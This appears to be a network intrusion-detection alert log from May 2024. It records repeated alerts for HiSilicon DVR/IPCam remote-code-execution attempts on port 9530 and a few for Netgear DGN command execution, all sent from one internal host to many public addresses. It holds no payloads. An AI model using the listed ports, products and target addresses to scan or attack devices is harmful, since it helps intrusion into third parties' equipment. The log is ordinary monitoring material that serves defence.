SID:	2030487
Source Port:	43456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.115.237.56

Timestamp:	05/16/24-16:39:05.677813
SID:	2030487
Source Port:	57540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.147.2.133

Timestamp:	05/16/24-16:38:53.098294
SID:	2030487
Source Port:	37942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.208.191.16

Timestamp:	05/16/24-16:39:05.709500
SID:	2030488
Source Port:	47332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.147.2.133

Timestamp:	05/16/24-16:38:53.098294
SID:	2030488
Source Port:	37942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.4.102.207

Timestamp:	05/16/24-16:39:05.714861
SID:	2030488
Source Port:	48222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.4.102.207

Timestamp:	05/16/24-16:39:05.714861
SID:	2030487
Source Port:	48222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.156.205.146

Timestamp:	05/16/24-16:38:50.004208
SID:	2030488
Source Port:	48338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.156.205.146

Timestamp:	05/16/24-16:38:50.004208
SID:	2030487
Source Port:	48338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.208.191.16

Timestamp:	05/16/24-16:39:05.709500
SID:	2030487
Source Port:	47332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.157.154.90

Timestamp:	05/16/24-16:39:03.260909
SID:	2030487
Source Port:	56566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.157.154.90

Timestamp:	05/16/24-16:39:03.260909
SID:	2030488
Source Port:	56566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.107.93.125

Timestamp:	05/16/24-16:39:14.492182
SID:	2030487
Source Port:	54262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.58.229.158

Timestamp:	05/16/24-16:38:57.438291
SID:	2030488
Source Port:	59360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.58.229.158

Timestamp:	05/16/24-16:38:57.438291
SID:	2030487
Source Port:	59360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.97.4.13

Timestamp:	05/16/24-16:39:03.260941
SID:	2030487
Source Port:	35038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.107.93.125

Timestamp:	05/16/24-16:39:14.492182
SID:	2030488
Source Port:	54262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.97.4.13

Timestamp:	05/16/24-16:39:03.260941
SID:	2030488
Source Port:	35038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.174.148.226

Timestamp:	05/16/24-16:38:53.071746
SID:	2030487
Source Port:	50482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.202.31.235

Timestamp:	05/16/24-16:38:55.175123
SID:	2030488
Source Port:	41134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 17.202.189.141

Timestamp:	05/16/24-16:38:49.277416
SID:	2024916
Source Port:	37404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.202.31.235

Timestamp:	05/16/24-16:38:55.175123
SID:	2030487
Source Port:	41134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.174.148.226

Timestamp:	05/16/24-16:38:53.071746
SID:	2030488
Source Port:	50482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.216.57.59

Timestamp:	05/16/24-16:39:05.677733
SID:	2030487
Source Port:	53910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 194.69.245.86

Timestamp:	05/16/24-16:39:01.467583
SID:	2029215
Source Port:	48866
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.216.57.59

Timestamp:	05/16/24-16:39:05.677733
SID:	2030488
Source Port:	53910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.61.110.131

Timestamp:	05/16/24-16:39:03.277941
SID:	2030487
Source Port:	57506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.71.52.213

Timestamp:	05/16/24-16:38:57.306873
SID:	2030488
Source Port:	49892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.61.110.131

Timestamp:	05/16/24-16:39:03.277941
SID:	2030488
Source Port:	57506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.71.52.213

Timestamp:	05/16/24-16:38:57.306873
SID:	2030487
Source Port:	49892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.8.40.25

Timestamp:	05/16/24-16:38:55.225136
SID:	2030487
Source Port:	54132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.8.40.25

Timestamp:	05/16/24-16:38:55.225136
SID:	2030488
Source Port:	54132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.173.136.24

Timestamp:	05/16/24-16:39:08.127108
SID:	2030488
Source Port:	34964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.173.136.24

Timestamp:	05/16/24-16:39:08.127108
SID:	2030487
Source Port:	34964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.12.199.93

Timestamp:	05/16/24-16:38:57.446996
SID:	2030488
Source Port:	48480
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.108.152.208

Timestamp:	05/16/24-16:39:08.149420
SID:	2030488
Source Port:	47274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.12.199.93

Timestamp:	05/16/24-16:38:57.446996
SID:	2030487
Source Port:	48480
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.164.245.25

Timestamp:	05/16/24-16:39:02.748783
SID:	2030487
Source Port:	42644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.164.245.25

Timestamp:	05/16/24-16:39:02.748783
SID:	2030488
Source Port:	42644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.106.72.200

Timestamp:	05/16/24-16:38:55.226383
SID:	2030488
Source Port:	36816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.37.191.241

Timestamp:	05/16/24-16:39:08.041192
SID:	2030487
Source Port:	47686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.12.226.80

Timestamp:	05/16/24-16:39:16.612718
SID:	2030487
Source Port:	34712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.106.72.200

Timestamp:	05/16/24-16:38:55.226383
SID:	2030487
Source Port:	36816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.12.226.80

Timestamp:	05/16/24-16:39:16.612718
SID:	2030488
Source Port:	34712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.37.191.241

Timestamp:	05/16/24-16:39:08.041192
SID:	2030488
Source Port:	47686
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.183.167.234

Timestamp:	05/16/24-16:39:12.377519
SID:	2030488
Source Port:	44772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.183.167.234

Timestamp:	05/16/24-16:39:12.377519
SID:	2030487
Source Port:	44772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.210.197.214

Timestamp:	05/16/24-16:39:14.530322
SID:	2030487
Source Port:	59198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.210.197.214

Timestamp:	05/16/24-16:39:14.530322
SID:	2030488
Source Port:	59198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.235.217.121

Timestamp:	05/16/24-16:38:55.175120
SID:	2030487
Source Port:	49182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.243.129.106

Timestamp:	05/16/24-16:39:08.145348
SID:	2030487
Source Port:	48328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.243.129.106

Timestamp:	05/16/24-16:39:08.145348
SID:	2030488
Source Port:	48328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.147.232.147

Timestamp:	05/16/24-16:38:55.229939
SID:	2030487
Source Port:	50628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.99.136.24

Timestamp:	05/16/24-16:39:02.744355
SID:	2030487
Source Port:	46560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.147.232.147

Timestamp:	05/16/24-16:38:55.229939
SID:	2030488
Source Port:	50628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.146.36.185

Timestamp:	05/16/24-16:39:12.380651
SID:	2030488
Source Port:	54976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.99.136.24

Timestamp:	05/16/24-16:39:02.744355
SID:	2030488
Source Port:	46560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.146.36.185

Timestamp:	05/16/24-16:39:12.380651
SID:	2030487
Source Port:	54976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.106.242.233

Timestamp:	05/16/24-16:39:08.044917
SID:	2030487
Source Port:	56164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.61.225.19

Timestamp:	05/16/24-16:39:12.295361
SID:	2030487
Source Port:	53794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.61.225.19

Timestamp:	05/16/24-16:39:12.295361
SID:	2030488
Source Port:	53794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.106.242.233

Timestamp:	05/16/24-16:39:08.044917
SID:	2030488
Source Port:	56164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.196.178.166

Timestamp:	05/16/24-16:39:08.035651
SID:	2030487
Source Port:	40156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.196.178.166

Timestamp:	05/16/24-16:39:08.035651
SID:	2030488
Source Port:	40156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.109.38.18

Timestamp:	05/16/24-16:39:08.044949
SID:	2030487
Source Port:	57534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.157.248.98

Timestamp:	05/16/24-16:39:08.044882
SID:	2030488
Source Port:	59932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.157.248.98

Timestamp:	05/16/24-16:39:08.044882
SID:	2030487
Source Port:	59932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.109.38.18

Timestamp:	05/16/24-16:39:08.044949
SID:	2030488
Source Port:	57534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.72.110.161

Timestamp:	05/16/24-16:39:05.702496
SID:	2030487
Source Port:	60502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.24.29.108

Timestamp:	05/16/24-16:39:05.677733
SID:	2030487
Source Port:	48460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.72.110.161

Timestamp:	05/16/24-16:39:05.702496
SID:	2030488
Source Port:	60502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.24.29.108

Timestamp:	05/16/24-16:39:05.677733
SID:	2030488
Source Port:	48460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.59.23.234

Timestamp:	05/16/24-16:39:02.746766
SID:	2030488
Source Port:	59848
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.179.102.247

Timestamp:	05/16/24-16:38:59.519360
SID:	2030488
Source Port:	49918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.179.102.247

Timestamp:	05/16/24-16:38:59.519360
SID:	2030487
Source Port:	49918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.59.23.234

Timestamp:	05/16/24-16:39:02.746766
SID:	2030487
Source Port:	59848
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.214.245.188

Timestamp:	05/16/24-16:39:05.699133
SID:	2030487
Source Port:	57940
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.214.245.188

Timestamp:	05/16/24-16:39:05.699133
SID:	2030488
Source Port:	57940
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.101.109.141

Timestamp:	05/16/24-16:38:59.560311
SID:	2030487
Source Port:	56604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.101.109.141

Timestamp:	05/16/24-16:38:59.560311
SID:	2030488
Source Port:	56604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.68.36.217

Timestamp:	05/16/24-16:39:14.491135
SID:	2030488
Source Port:	40974
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.68.36.217

Timestamp:	05/16/24-16:39:14.491135
SID:	2030487
Source Port:	40974
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.179.172.49

Timestamp:	05/16/24-16:39:14.492404
SID:	2030487
Source Port:	59308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.179.172.49

Timestamp:	05/16/24-16:39:14.492404
SID:	2030488
Source Port:	59308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.161.134.205

Timestamp:	05/16/24-16:38:59.557075
SID:	2030488
Source Port:	56052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.235.217.121

Timestamp:	05/16/24-16:38:55.175120
SID:	2030488
Source Port:	49182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.141.177.245

Timestamp:	05/16/24-16:38:59.520012
SID:	2030488
Source Port:	38230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.141.177.245

Timestamp:	05/16/24-16:38:59.520012
SID:	2030487
Source Port:	38230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.159.29.150

Timestamp:	05/16/24-16:39:14.522067
SID:	2030487
Source Port:	46296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.159.29.150

Timestamp:	05/16/24-16:39:14.522067
SID:	2030488
Source Port:	46296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.161.134.205

Timestamp:	05/16/24-16:38:59.557075
SID:	2030487
Source Port:	56052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.127.16.9

Timestamp:	05/16/24-16:38:55.206800
SID:	2030488
Source Port:	45592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.127.16.9

Timestamp:	05/16/24-16:38:55.206800
SID:	2030487
Source Port:	45592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.22.243.66

Timestamp:	05/16/24-16:38:55.215545
SID:	2030487
Source Port:	44292
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.69.171.34

Timestamp:	05/16/24-16:38:59.518438
SID:	2030488
Source Port:	57834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.22.243.66

Timestamp:	05/16/24-16:38:55.215545
SID:	2030488
Source Port:	44292
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.69.171.34

Timestamp:	05/16/24-16:38:59.518438
SID:	2030487
Source Port:	57834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.108.152.208

Timestamp:	05/16/24-16:39:08.149420
SID:	2030487
Source Port:	47274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.28.198.91

Timestamp:	05/16/24-16:38:55.220928
SID:	2030488
Source Port:	60832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

